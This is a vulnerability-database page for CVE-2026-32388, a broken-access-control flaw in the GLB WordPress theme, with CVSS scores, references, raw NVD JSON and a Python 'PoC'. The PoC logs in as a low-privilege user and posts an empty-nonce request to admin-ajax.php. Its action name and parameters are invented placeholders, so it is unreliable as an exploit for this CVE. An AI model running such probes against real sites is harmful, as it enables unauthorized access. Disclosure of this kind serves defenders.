CVE-2026-32388

Description

Missing Authorization vulnerability in linethemes GLB glb allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GLB: from n/a through <= 1.2.2.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GLB Theme <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-32388 PoC - GLB Theme Broken Access Control
# Requires low-privilege WordPress account

import requests
import sys

target_url = "http://target-wordpress-site.com"
username = "attacker_account"
password = "password123"

# Login to WordPress
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
    "redirect_to": "/wp-admin/",
    "testcookie": "1"
}
session.post(login_url, data=login_data)

# Identify vulnerable AJAX endpoint (placeholder - actual endpoint requires enumeration)
vulnerable_endpoints = [
    "/wp-admin/admin-ajax.php",
    "/wp-json/wp/v2/",
]

# Example: Exploiting missing authorization
for endpoint in vulnerable_endpoints:
    exploit_data = {
        "action": "glb_exploit_action",
        "nonce": "",  # Missing or bypassable nonce
        "param1": "value1",
        "param2": "value2"
    }
    try:
        response = session.post(f"{target_url}{endpoint}", data=exploit_data)
        if response.status_code == 200 and "success" in response.text:
            print(f"[!] Potential vulnerability confirmed at {endpoint}")
            print(f"Response: {response.text}")
    except Exception as e:
        print(f"Error: {e}")

# Note: Actual PoC requires identifying specific vulnerable functions in GLB theme
# Check theme source code for: add_action('wp_ajax_*', ...) without capability checks

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32388
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32388
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32388/
[4] VulDB https://vuldb.com/cve/CVE-2026-32388
[5] https://patchstack.com/database/Wordpress/Theme/glb/vulnerability/wordpress-glb-theme-1-2-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32388", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:54.233", "lastModified": "2026-04-29T10:17:04.137", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in linethemes GLB glb allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GLB: from n/a through <= 1.2.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en linethemes GLB glb permite explotar niveles de seguridad de control de acceso mal configurados. Este problema afecta a GLB: desde n/a hasta <= 1.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/glb/vulnerability/wordpress-glb-theme-1-2-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}